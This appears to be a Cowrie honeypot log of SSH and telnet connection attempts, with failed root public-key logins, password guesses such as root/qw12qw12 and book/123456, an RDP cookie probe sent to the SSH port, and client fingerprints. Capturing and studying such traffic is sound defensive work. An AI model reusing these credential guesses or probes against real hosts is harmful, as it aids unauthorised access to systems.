{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:de:e6:17:cc:d6:5a:a2:48:4b:dd:37:3e:61:d5:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMpYLkCs4CX3My2osLv9lgxcI+q1h+vwr/QcXHv+tfQnaS7vVrpsbAmatOL2+681RFRVtV1kHKZ6sqxpWA926vAKje63qoyFu9HAwySvNny2z6l10rQFmq1zy6G4yvciKVKYDUesGgL0cIV68wguUYqJ1U36YSuFyz2fvI68OFK7xbS0rBgRWVmzSrW2wIQcw2B5RML/1+PWMRFYz7wfeOTd55OPI79DeHRWQn5i5ikPWpZ+cFUwFG/CD8WwVlkzG66IsOstnolFU7htU2CFdYhWzS02SFUOvTKC97tLqSIxAdmIqY8hEp5UeAdO1xjlBxpFRScpuuU8IEt+vpvT5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:de:e6:17:cc:d6:5a:a2:48:4b:dd:37:3e:61:d5:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.154583Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:de:e6:17:cc:d6:5a:a2:48:4b:dd:37:3e:61:d5:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMpYLkCs4CX3My2osLv9lgxcI+q1h+vwr/QcXHv+tfQnaS7vVrpsbAmatOL2+681RFRVtV1kHKZ6sqxpWA926vAKje63qoyFu9HAwySvNny2z6l10rQFmq1zy6G4yvciKVKYDUesGgL0cIV68wguUYqJ1U36YSuFyz2fvI68OFK7xbS0rBgRWVmzSrW2wIQcw2B5RML/1+PWMRFYz7wfeOTd55OPI79DeHRWQn5i5ikPWpZ+cFUwFG/CD8WwVlkzG66IsOstnolFU7htU2CFdYhWzS02SFUOvTKC97tLqSIxAdmIqY8hEp5UeAdO1xjlBxpFRScpuuU8IEt+vpvT5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.158701Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:6e:05:e1:ef:9f:fc:6b:d7:c3:8e:fc:78:c1:3d:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs0qzBSYu7v499t+kJsoNEmzvgY401bwOt3HG72MR5lON5MBF7Q6FxPQQbSwaVnsRqJUNmbMj5rD8dqjQXs4YgwMOz2LoTpChPqf1CSF1LcdiLBOcqgmhy+pDineCA9Pt3lbwoEi7O+6FYtKunJn9HfdTlgIjy8lOL+UsrgTqK7hcuauK4kL3LcQOk6sDXrYEn18/P2CTVD+9L/3FLIRiUK664eUYYAt3YSP2vI6Xi3GHVeUWNa38O6q47atiJsna7Xrp8iVxlaHzUkpSnkafbe+E4fGuVCTDMs3YGr1pbHqc/efdZLS2c9CBExUbcrG0aLIsD+o6Qizc/vUsMwC4jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:6e:05:e1:ef:9f:fc:6b:d7:c3:8e:fc:78:c1:3d:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.206351Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:6e:05:e1:ef:9f:fc:6b:d7:c3:8e:fc:78:c1:3d:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs0qzBSYu7v499t+kJsoNEmzvgY401bwOt3HG72MR5lON5MBF7Q6FxPQQbSwaVnsRqJUNmbMj5rD8dqjQXs4YgwMOz2LoTpChPqf1CSF1LcdiLBOcqgmhy+pDineCA9Pt3lbwoEi7O+6FYtKunJn9HfdTlgIjy8lOL+UsrgTqK7hcuauK4kL3LcQOk6sDXrYEn18/P2CTVD+9L/3FLIRiUK664eUYYAt3YSP2vI6Xi3GHVeUWNa38O6q47atiJsna7Xrp8iVxlaHzUkpSnkafbe+E4fGuVCTDMs3YGr1pbHqc/efdZLS2c9CBExUbcrG0aLIsD+o6Qizc/vUsMwC4jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.211168Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:95:0f:d1:7e:f0:e9:47:bb:63:8d:d7:ad:0b:c6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUcCiVVQ3cSgXlCEMsHBvu7sFILnnpCkFhgLBy65hkXFBZaMEXBrhMjX9/1p3FOqp2jehYwE3M4Tp4fa5lqgWD2DAgFXi/0ZXLWnVPe4Wkt2pZSiQMAP4mzFD9TGTC5rfjxw38XHbPs5FWnhXkZnxXoYAqaIkUN1g0EyfjIFED1R1dtGzSjCfz6x8tWkYglSOJdSJ5TxX7a5iIkGUF/0KFlglXWvsjNdUi0/6LWqvfaz9ojEaqT5h1QzSkLNrI5VuB7+fy0uP1Qmqrosa7lVXDMLdwV3xEqWayOvEQRcV4Z3cQ7wdJeekPFSxdDQA2E/eJ5SWfAWhJb7iJDkc2Rf8j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:95:0f:d1:7e:f0:e9:47:bb:63:8d:d7:ad:0b:c6:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.255706Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:95:0f:d1:7e:f0:e9:47:bb:63:8d:d7:ad:0b:c6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUcCiVVQ3cSgXlCEMsHBvu7sFILnnpCkFhgLBy65hkXFBZaMEXBrhMjX9/1p3FOqp2jehYwE3M4Tp4fa5lqgWD2DAgFXi/0ZXLWnVPe4Wkt2pZSiQMAP4mzFD9TGTC5rfjxw38XHbPs5FWnhXkZnxXoYAqaIkUN1g0EyfjIFED1R1dtGzSjCfz6x8tWkYglSOJdSJ5TxX7a5iIkGUF/0KFlglXWvsjNdUi0/6LWqvfaz9ojEaqT5h1QzSkLNrI5VuB7+fy0uP1Qmqrosa7lVXDMLdwV3xEqWayOvEQRcV4Z3cQ7wdJeekPFSxdDQA2E/eJ5SWfAWhJb7iJDkc2Rf8j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.259626Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:f6:96:26:cd:43:e1:2c:e3:3b:5a:f7:78:fc:a6:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrPnjv6b35Xee9UT1cC0vPEHAZar8zNL6Y8g3BHUepzZe9o2qIZn2mD9au1FiuMmhxyPJ7hc44W4WrKzwm89IBykp6hB2ZAt2cmUQG8WbvHadc9qwMm9kKFP+F0tcLvlmb7BGyt3ynhlsjxzgxOL62RnWL5ymD+3QBuZW+uFl4BrFxY68h3xXkcdalOa+EvfbQvblFiNrRnOcP3lERGSbhIJyo7nEg1deg1aCNRdVv7Q7i0FwXOJpb3jczLvsp9z48YjMkOifnKyG+S7+JGjoM6a7fgl4iLsphpTS44RPggsSzFM5znaXEVxTvLJDVhVAF2w/2ej1GohLOVyS9r4r/PjZb2hFNX7abYe89pad/y4rwgGwpFJSVtS6FFK2jjzgHba30kHbj+fN2w9dP5EsZIRpFJysnY35iLylzrCM6lQc06+Vvch8OmPye1NbLrhyNevIIBUk4gc8d9BFlTiA9FAVw+fcihp9ToBhmC9z1uiZwOfZ3iOWN2rgqQ9hVft0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:f6:96:26:cd:43:e1:2c:e3:3b:5a:f7:78:fc:a6:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.303706Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:f6:96:26:cd:43:e1:2c:e3:3b:5a:f7:78:fc:a6:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrPnjv6b35Xee9UT1cC0vPEHAZar8zNL6Y8g3BHUepzZe9o2qIZn2mD9au1FiuMmhxyPJ7hc44W4WrKzwm89IBykp6hB2ZAt2cmUQG8WbvHadc9qwMm9kKFP+F0tcLvlmb7BGyt3ynhlsjxzgxOL62RnWL5ymD+3QBuZW+uFl4BrFxY68h3xXkcdalOa+EvfbQvblFiNrRnOcP3lERGSbhIJyo7nEg1deg1aCNRdVv7Q7i0FwXOJpb3jczLvsp9z48YjMkOifnKyG+S7+JGjoM6a7fgl4iLsphpTS44RPggsSzFM5znaXEVxTvLJDVhVAF2w/2ej1GohLOVyS9r4r/PjZb2hFNX7abYe89pad/y4rwgGwpFJSVtS6FFK2jjzgHba30kHbj+fN2w9dP5EsZIRpFJysnY35iLylzrCM6lQc06+Vvch8OmPye1NbLrhyNevIIBUk4gc8d9BFlTiA9FAVw+fcihp9ToBhmC9z1uiZwOfZ3iOWN2rgqQ9hVft0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.308210Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:23:12:6b:6d:03:0b:09:35:3b:58:e0:ee:07:d8:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDq+poj35k0/4I2NWXg8y+7lA25iQ27RznxOzlMkeg42MRLWfhEkVABrgNcFTXEHGSz1Ml6eEjJDNMziUszFJNaty+vvlmqw1VIHLKQ7spgCVle8KIWcQ8qr/28YecYcBnpXjHw3aDgYf4CJMEeiGpUsRXyvfkI0JOONnuFRcWCGy6nZmGqgGHcOCPxD4VCbZiFCYYruEAQvYkEH7fxYHN1oiDZ7t7s+xXFLOlsP/DVuwXqywE21ksku0z+ITdBmzOWoj41rwwk37n2wuHD/LoU0rKprTg74WVdKBQO24qTXyorDSQRkbR8/OrAFTmSqgVoebxEYA5GRGR1urC+E9HhSUJcR29gYK82fvVIVIcOrfmleqgfjN6vs+VrlkwOq5RM9wy2FLMvkl2Mdb4JblRwyKgnBZBL3Tzf1jqEeObNcet4sTZj00XftW6r4/tn90O5yrwmVkGkPZJVzkikXgP74aFfp3tsBxsIpaNXQVQKOIjh6WVJ5PjwMGs/PSCh84AYQVsdeHD6r9G0EqH4pGMzZgYvhxSCfR6+5yUj4tsLajk01bBBz5fF3zYZ25Adg9R6z9UdEym89LtsAMQnZ2rKSxs1fXDXdUPNeUVkAR+acR38+InivLxCC1vVTBlChJpBg7EaUfKUQ/qk7xOJFeRmet3bHphHFoiZh4PIy55QOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:23:12:6b:6d:03:0b:09:35:3b:58:e0:ee:07:d8:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.351753Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:23:12:6b:6d:03:0b:09:35:3b:58:e0:ee:07:d8:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDq+poj35k0/4I2NWXg8y+7lA25iQ27RznxOzlMkeg42MRLWfhEkVABrgNcFTXEHGSz1Ml6eEjJDNMziUszFJNaty+vvlmqw1VIHLKQ7spgCVle8KIWcQ8qr/28YecYcBnpXjHw3aDgYf4CJMEeiGpUsRXyvfkI0JOONnuFRcWCGy6nZmGqgGHcOCPxD4VCbZiFCYYruEAQvYkEH7fxYHN1oiDZ7t7s+xXFLOlsP/DVuwXqywE21ksku0z+ITdBmzOWoj41rwwk37n2wuHD/LoU0rKprTg74WVdKBQO24qTXyorDSQRkbR8/OrAFTmSqgVoebxEYA5GRGR1urC+E9HhSUJcR29gYK82fvVIVIcOrfmleqgfjN6vs+VrlkwOq5RM9wy2FLMvkl2Mdb4JblRwyKgnBZBL3Tzf1jqEeObNcet4sTZj00XftW6r4/tn90O5yrwmVkGkPZJVzkikXgP74aFfp3tsBxsIpaNXQVQKOIjh6WVJ5PjwMGs/PSCh84AYQVsdeHD6r9G0EqH4pGMzZgYvhxSCfR6+5yUj4tsLajk01bBBz5fF3zYZ25Adg9R6z9UdEym89LtsAMQnZ2rKSxs1fXDXdUPNeUVkAR+acR38+InivLxCC1vVTBlChJpBg7EaUfKUQ/qk7xOJFeRmet3bHphHFoiZh4PIy55QOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.357091Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:04.402034Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50066,"dst_ip":"10.17.0.5","dst_port":22,"session":"52d9eb5193a4","protocol":"ssh","message":"New connection: 167.172.81.52:50066 (10.17.0.5:22) [session: 52d9eb5193a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:05.406032Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:05.411404Z","src_ip":"167.172.81.52","session":"52d9eb5193a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:05.415434Z","src_ip":"167.172.81.52","session":"52d9eb5193a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":34234,"dst_ip":"10.17.0.5","dst_port":22,"session":"a133bf3c4fcb","protocol":"ssh","message":"New connection: 39.117.79.36:34234 (10.17.0.5:22) [session: a133bf3c4fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:08.136478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:08.140887Z","src_ip":"39.117.79.36","session":"a133bf3c4fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:08.339336Z","src_ip":"39.117.79.36","session":"a133bf3c4fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"book","password":"123456","message":"login attempt [book/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:09.161949Z","src_ip":"39.117.79.36","session":"a133bf3c4fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:10.364397Z","src_ip":"39.117.79.36","session":"a133bf3c4fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40486,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb6b8ffa9815","protocol":"ssh","message":"New connection: 194.113.233.25:40486 (10.17.0.5:22) [session: eb6b8ffa9815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:20.196198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:20.201836Z","src_ip":"194.113.233.25","session":"eb6b8ffa9815","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:20.300011Z","src_ip":"194.113.233.25","session":"eb6b8ffa9815","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw12qw12","message":"login attempt [root/qw12qw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:20.586489Z","src_ip":"194.113.233.25","session":"eb6b8ffa9815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:21.683327Z","src_ip":"194.113.233.25","session":"eb6b8ffa9815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":42024,"dst_ip":"10.17.0.5","dst_port":22,"session":"acfadcf1ad92","protocol":"ssh","message":"New connection: 193.228.128.84:42024 (10.17.0.5:22) [session: acfadcf1ad92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:02.513224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:02.519563Z","src_ip":"193.228.128.84","session":"acfadcf1ad92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:02.625214Z","src_ip":"193.228.128.84","session":"acfadcf1ad92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!","message":"login attempt [root/qwerty!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:02.934008Z","src_ip":"193.228.128.84","session":"acfadcf1ad92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:04.039110Z","src_ip":"193.228.128.84","session":"acfadcf1ad92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"247dc439785d","protocol":"telnet","message":"New connection: 152.42.224.71:37840 (10.17.0.5:23) [session: 247dc439785d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:05.900864Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54468,"dst_ip":"10.17.0.5","dst_port":22,"session":"acd69002775d","protocol":"ssh","message":"New connection: 152.42.212.128:54468 (10.17.0.5:22) [session: acd69002775d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:14.005092Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:14.010072Z","src_ip":"152.42.212.128","session":"acd69002775d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:14.017407Z","src_ip":"152.42.212.128","session":"acd69002775d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50264,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3aec03fbcd6","protocol":"ssh","message":"New connection: 87.251.64.176:50264 (10.17.0.5:22) [session: e3aec03fbcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:33.994700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:33.999310Z","src_ip":"87.251.64.176","session":"e3aec03fbcd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":60310,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c98fcd8c4ad","protocol":"ssh","message":"New connection: 39.117.79.36:60310 (10.17.0.5:22) [session: 2c98fcd8c4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.025326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:07:34.030335Z","src_ip":"39.117.79.36","session":"2c98fcd8c4ad","protocol":"ssh"}
